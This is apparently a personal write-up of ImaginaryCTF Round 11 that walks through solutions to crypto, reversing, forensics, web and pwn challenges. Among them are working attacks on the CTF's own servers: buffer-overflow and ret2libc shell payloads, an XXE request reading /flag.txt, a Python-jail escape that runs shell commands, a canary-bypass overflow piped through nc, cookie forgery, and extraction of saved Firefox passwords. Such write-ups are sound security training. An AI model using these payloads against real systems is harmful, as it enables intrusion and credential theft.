ImaginaryCTF Round 11 Writeup
June 30th 2021
An entire month of challenges, you won't believe what happened on day 24!!?!
Imaginary CTF Round 11 writeups
Sanity check
...
it's ictf{Round_11_Sanity_Check}
Spider
https://spider.031337.xyz
We get redirected to /0 immediatly. Look at the response headers, There's x-flag with a single character. Just go from 0 to 23 and take note of all the characters
from time import sleep
from requests import get
"".join([get(f"https://spider.031337.xyz/{i}").headers["X-Flag"] for i in range(24) if not sleep(1)])
and you get the flag
ictf{f0ll0w_th3_numb3rs}
Find me
you grep, that's it grep -ao "ictf{.*}" find_me.txt
and you get the flag
ictf{gr3p_0r_4ny_t3xt_3d1t0r...Fl4g_f0rm4t_m4tt3rs}
filling-blanks
You need to send the correct numbers, to do so you need to get the correct numbers, for this a template is provided and you just have to fill in the empty spots. To get the correct values for the blanks you just need to open the predict binary in {insert favourite decompilation tool}.
The first blanks is clearly libc (Since we want the function there to be called)
We see the seed is the time divided by 10, so we fill the second
blank with time
The third blank is a red herring and doesn't need to be filled, or rather it needs to be left empty (Probably was intended that one should write what is there into a function and call that, but idk), same goes for the fourth blank
(One also needs to change to execute on the remote)
Gives us the flag ictf{exp3r1menting_w1th_ch@lleng3_f0rmat$_f0r_$c1ence}
Uncrashable
You just enter enough data such that all the buffers are overflown (so above 500 bytes, didn't count though)
ictf{b0f?ju5+_@dd_m0r3_buff3r}
Add and Add
We get a script, first it generates a random character,
then it takes the first character of the flag encrypts that
with the random character, takes the next two characters, encrypts
those with the random character and the encrypted first character, ...
taking 2**i
characters every round. We then get everything except
the random value. But since that was only in the range of 0-255,
we can just bruteforce that. Or we could be smart and just
take the difference of i
and the first byte, since we know the
first character of the flag
with open("output.txt", "r") as f:
d = f.read()
d = bytes.fromhex(d)
key = [d[0]-ord('i')]
x = b""
l = 1
while d:
x += bytes([(a-b)%256 for a, b in zip(d[:l], key)])
key += d[:l]
d = d[l:]
l *= 2
print(x)
which gives us the flag ictf{4dd1ng_4nd_casc4d1ng_and_adding_4nd_c4scad1ng}
Word
Unzip the word file (Yes unzip, it's just a zip), find the flag.txt file
and get the flag ictf{4ll_0ff1c3_F1l3s_4r3_Z1p5}
Mission Impossible
This is a binary which will destruct itself when executed (Just remove write access to itself from the user running it I guess). But yeah, the goal is to not run the binary, so open it in some decompiler or disassembler and search....
Remember this cool command for later:
objdump -M intel -d $1 | egrep "mov\s+.{2,3},0x\S\S$" | cut -f2 -d, | xxd -r -p | grep -o "ictf{.*}"
It will read all the mov into register which then get printed and greps the flag out of that,
we get ictf{n3v3r_run_@_bin@ry_y0u_d0nt_+ru5t!}
A really cool button
https://button.max49.repl.co/
You click the button, and you get redirected. If you have opened the
network devtools and persist the logs there you see, that there were
in fact two redirections in a row. Just look at the html after the first
redirect (Alternatively use curl curl -X post https://button.max49.repl.co/noflag.htm
)
ictf{f1ag_1n_th3_c0mm3nts!}
(Note that the whole zero width space stuff was a red herring, but you can use the javascript code of a past CTF to find what it says...)
small enough
we see that N1 and N2 share a factor (ps[2]
, or gcd(N1, N2) or just p), then we see
that c1%p==c2%p. That means we can just calculate d=pow(e,-1,p-1)
and do RSA
decryption by doing pow(c1,d,p)
to get the flag.
ictf{sometimes_a_prime_is_all_you_really_need}
Winnie
Oh god a windows executable, I wonder if there's a neat onliner to solve this.
Yeah you guessed right, you can solve this with the same onliner as you could
use for Mission Impossible. ictf{s1lly_0ld_bear}
.
Alternatively you can search for the main function and see that it prints the flag in characters after getting the correct argument.
Tax Evasion
A classic python jail, but everytime we execute some import or open a file
(or any action which gets audited and is not exec/compile nor from input()),
we call exit(0). Well, we can just overwrite exit by doing
exit=lambda x: x
and then we can do whatever we want
import os
and then just cat the flag (or run sh if you like that more)
os.system("cat flag.txt")
to get ictf{i11_t@x_th3_stre3t_t@x_y0ur_s3@t_t@x_th3_he@t_+ax_y0ur_f33t}
Kevin
We see the three heads which are called (2,1,3) with corresponding secrets or where to find them. There's also the hint that the dimensions might be off, so we use https://github.com/ryanking13/png-unhide to get the full image and the link https://chl.li/kevin5 next to a 4. Together with the shares inside the metadata and after the actual image data (Extradata) and the one hidden in the LSB we have five shares and just need to find the coordinate for each of the five. Now use some online shamir solver or some lagrange polynomial interpolation solver (Or use the manual hard way like me and implement lagrange yourself).
gets us the flag ictf{gh1dr@h}
(You had to wrap it yourself)
Keycode
The program xors your input with the program code and checks if it's a fixed
value, so just take the program code and xor it with the value to get the flag
ictf{wh@t_g00d_i5_@_10ck_!f_th3_l0ck_!s_th3_k3y?}
eyes-on-stack
Well, we just have to call a function with some parameters, that's doable...
io = start()
payload = cyclic(52) # buffer overflow
payload += p32(0x80491f6)
payload += p32(0x80491f6)
payload += p32(0xdeadbeef) # args on the stack
payload += p32(0xba5eba11)
payload += p32(0x1337c0de)
io.sendline(payload)
io.interactive()
get flag ictf{y0ur_ord3r_of_3_@rgs_15_c0ming_r1ght_up}
Textbook RSA 2: Timmy the Lonely Oracle
Get the encrypted flag, send that squared, get the flag squared
and just take the square root.
ictf{y0u_m@d3_+!mmy_cry_y0u_3v!1_h@ck3r}
xmlvis
This challenge revolved around xml, don't be confused by the -no-ent flag, because that means to enable entities, so we'll just use those
wget -O - --post-data='<!DOCTYPE b[<!ELEMENT b ANY><!ENTITY a SYSTEM "/flag.txt">]><b>&a;</b>' https://xmlvis.031337.xyz
Since the website just renders the xml and entities are enabled, we can just make a SYSTEM entity and read any file with that.
ictf{ext3rn4l_3nt1ties_n1c3ly_f0rm4tt3d}
ret2libc
Same binary as for "Eyes on the Stack" but this time we need a shell, so I just call gets and read to bss and then call system with that in the bss as argument, then send sh to exec that (I could also directly read the flag if I knew where it was before)
io = start()
payload = b"0"*52
payload += p32(exe.plt["gets"]) # read from stdin
payload += p32(exe.plt["system"]) # call system(bss)
payload += p32(exe.bss()) # arg for gets
payload += p32(exe.bss()) # arg for system
io.recvuntil("flag!\n") # wait for input
io.sendline(payload) # send payload
io.sendline(b"sh\0") # start sh --> system(gets()) --> system("sh")
io.sendline(b"ls") # first command for sh
io.interactive()
There in flag2.txt we find ictf{yay!_y0u_c@n_pwn_32b1t_bin@r13$}
Paranoia
We get a firefox profile directory, use firefox_decrypt to get the password
and look at places.sqlite with sqlite3 SELECT * FROM moz_places;
,
to get https://pastebin.com/r1SbZi4F
and XbHptE7dhJ
and
get the flag from the pastebin ictf{th3_f0x_0f_f1r3_s33s_a11}
Go Fish!
We open the binary, see that it's go, so we decompile the main.main function and see that if some conditions are met it prints the flag. Now we can either look at the conditions or the flag printing to get the flag.
The flag printing is rather straightforward as the Fprint function takes
the address it prints, but here it only prints 4 characters, so just
take all the characters you need. Alternatively you can look at the comparisons
before the printing of the flag to see that you need to input Go Fish!
and
after that Do you have any flags?
to get the flag ictf{g0_g0_g@dg3t_g3t_m3333_a11_th3_f1@gzz!}
How Long is it?
You get a png and but all the size of the sections are nulled out. So we just need to calculate the distance of one of the sections to the next (and subtract 8 because the size itself as well as the CRC don't count).
from pwn import *
with open("How_Long_Is_It.png", "rb") as f:
data = f.read()
x = data.find(b"IDAT")
f=b""
while (y:=data[x+4:].find(b"IDAT")) > 0:
l = y-8 # IDAT+crc+len
print(x)
f+=(unhex(hex(l)[2:]))
x=y+x+4
print(f)
and voilĂ , decoding the lengths yields the flag, no viewing necessary
ictf{R3m3mb3r__Th3r3_1s_N0_L3ngth}
Identity
We open the binary, look at the checkFlag function and see that is just subtracts from the previous value of the flag the new value xored with a constant. To reverse this, we just add the expected value:
dat=[0x07ba6a04,0xe3065776,0xc0e36767,0x0cec72a0,0x32164a62,0x78ce6549,0x4dff4163,0xb7c82a67,0x04e2b367,0x0cec7282,0x1b1b5a3d]
y=int("".join([hex(ord(i))[2:] for i in "ictf"]),16)
f=b""
for i in dat:
f += y.to_bytes(4, 'big')
y = (y+0x1337c0de^i)%(2**32)
print(f)
The integer values are extracted from the binary and had their endianess
corrected by hand. I'm sure there's better ways to do this, but meh.
ictf{!_@m_wh@t_!_@m_@nd_+h@ts_@11_+h@t_!_@m}
Enigma
This took me longer than I'd like to admit. You only have to see that a character could not be encoded to itself, then take all the encryptions you have and look which character doesn't appear in each row.
with open("output.txt") as f:
d = [x[:-1] for x in f.readlines()]
avail = ["ABCDEFGHIJKLMNOPQRSTUVWXYZ" for _ in range(len(d[0]))]
for l in d:
for i,c in enumerate(l):
avail[i] = avail[i].replace(str(c), "")
print("".join([x[0] if len(x)==1 else d[0][i] for i,x in enumerate(avail)]))
and we get the flag ICTF{THE_MISSING_MYSTERY}
A little break
This challenge was way too hard and I absolutely would have never solved this ever...
ICICLEs Facing the Sky
The icicle specification makes a reappearance once again, this time we need to reverse engineer a program written in icicle. Well, I can't say too much here without writing ten pages, but I noticed that there's a recursive call which removes the first and last char, checks that they're the same but not the same character as before. So all we need to do is to insert three palindromes without any letters appearing twice in a row (Except for the center ones).
ictf{@n_ICICLE_r3v3rs3d_r3ma!ns_th3_s@m3}
Transistors: More Than Meets The Eye
We open the image, maybe identify the XOR-gate depicted.
Then look only at the lowest bit of each channel and see
"7 bytes", so a xor with 7 bytes it is. Next we
binwalk the image and see that there is some extra
data at offset 0x52 which is base64 encoded. So
we take that and look at the data. Now there's only
two possibilities: It's text or it's a file. Since
I didn't see a 7-byte key to make all characters printable,
I decided that it was probably a file and since files
contain a lot of zeroes I looked at repeating patterns
and got 49 49 2a 00 49 44 33
as the xor key
which gives us a jpeg and a flag ictf{m4gic_byt3s_F7W!}
3ll1pt1c R1n95
The task here is to get the amount of points on the curve,
for that we need to calculate p. We are given two points
for which we know that one is double the other. Now using
the point doubling formulas we can get a formula
without any unknowns except for p, which is equal to
0 modulo p. After much playing around with the formulas I
got 4*y1*y1*(2*x1+x2)*(x1-x2)*(x1-x2)-(2*(y1+y2)*y1)**2
factoring the result gave us 12654803915193133223^4
thanks
to factordb.com. Which is our p, now we can calculate a
by doing a=((y1+y2)*2*y1/(x1-x2)-3*x1*x1)%(p**4)
and then afterwards
b by doing (y1*y1-x1*x1*x1-a*x1)%(p**4)
then we construct the curve
by doing E = EllipticCurve(GF(p**4), [a, b])
and call the function
to get the order and with that the xor key to decrypt the flag
ictf{HaHa_m@7h3mag1c5_g0_brrrrrrr}
aMAZEing-challenge
We try to run the client script, see that it errors out if we don't have the solver class with the solve method, luckily there seems to be a class encoded in base64 inside the maze.py class. Let's just use that one :). Afterwards I just imported that solver into the client.py and instead of asking for input just call solve and send that to the server to get the flag
ictf{W0w!_th3re_4r3_s0_m4ny_w4y5_t0_g37_the_fl4g,_r1ght?}
There were alternative ways (A total of 5) to get the flag (Modifying the cookie to get an easy maze, crashing the server and decrypting the flag or writing your own maze solver would've all worked as well)
Beep Boop Bakery
We read the description, see that robots are banned, so obviously we go to /robots.txt and find two interesting pages. On one there are all the codes and on the other is a hash. Both change every five seconds. There's a hint that it's a sha256, so we compute the hash of all discount codes and find the one with matching hash as the other page, then we use that code together with a cookie to identify ourselves to be a baker.
from requests import get, post
from hashlib import sha256
s=get("https://bakery.031337.xyz/secret_menu.html").text.split("Menu Item Code:")[1].split("</p>")[0].strip()
x=get("https://bakery.031337.xyz/topsecret/alldiscountcodes.txt").text.split("\n")[2:]
y=[sha256(i.encode()).hexdigest() for i in x]
x,=[a for a,i in zip(x,y) if i == s]
print(x)
print(post("https://bakery.031337.xyz/",data={"discount_code":x},cookies={"customer_type": "baker"}).text)
We could've also randomly tried some codes, but the server has a rate limit and only
so many requests go through, so hashing and then taking one is the best approach.
Just make sure that you start the script after it just changes, else you might
run into issues. (probably not though)
ictf{y@y_n0w_1_c@N_3a+_mY_d3l1ciOU$_C0okIe5!!!}
Do Some Arithmetic
We get a complex file with a lot of big numbers and weird math. We see that our flag is signed by getting a random number, raising g2 to that and doing modulo q. Then taking that result as an exponent to g modulo p and then modulo q. Then both the previous results get used in the formula to calculate the signature.
Luckily for us the multiplicative order of g2 modulo q is only 10794, so we can easily bruteforce the value of k. After filling an array ks with all values of g2^i and hm to be the hash of the predefined text, we can just brute force the flag like this:
for i in ks:
r = int(pow(int(g),int(i),p))%q
x = int((s*int(i)-mh)*pow(r,-1,q))
y = unhex(hex(x)[2:])
if b'ictf' in y:
print(i)
print(y)
to get the flag
ictf{unsafe_nonces_strike_again}
Frozen exploit
This time we need to exploit a program written in ICICLe.
There are two new instructions, one puts the flag into memory,
the other gets a random value which is used as a stack canary.
Since there was this stack canary I immediatly thought of a stack
exploit. The input is put onto the stack reversed and xored
with a key which increases as you go along the string. The amount
of spots on the stack is 40 and then the canary and then the return address.
First I needed to determine the values I need to write before doing anything.
So the canary was first, luckily the seed for the random was in the interpreter,
so we can easily find the 23 required. Then we need the index of the flag printing
statement, this is also easily done by modifying the interpreter slightly
and checking if the current line is equal to the flag printing one
and then print the length of the instruction array, so we get x0x8b,
now to put all into the exploit, we need to xor the values by their
position in the string (40 and 41 respectively) and then reverse that.
As key we just use 0, so we can use the 40 and 41 without adding anything:
python -c 'print(chr(139^41)+chr(23^40)+"b"*40+"\n0")' | nc 20.51.215.194 7331
And with that we get our final flag:
ictf{an_1C3_c0ld_buff3r_0v3rfl0w}
P.S.
I was told there was also the flag ictf{my_gift_to_you_is_this_:_an_easy_chall}
, but that would be for a really easy challenge, don't see any of those unsolved in this writeup....
< How2BufferFlow | ImaginaryCTF Round 12 Writeup >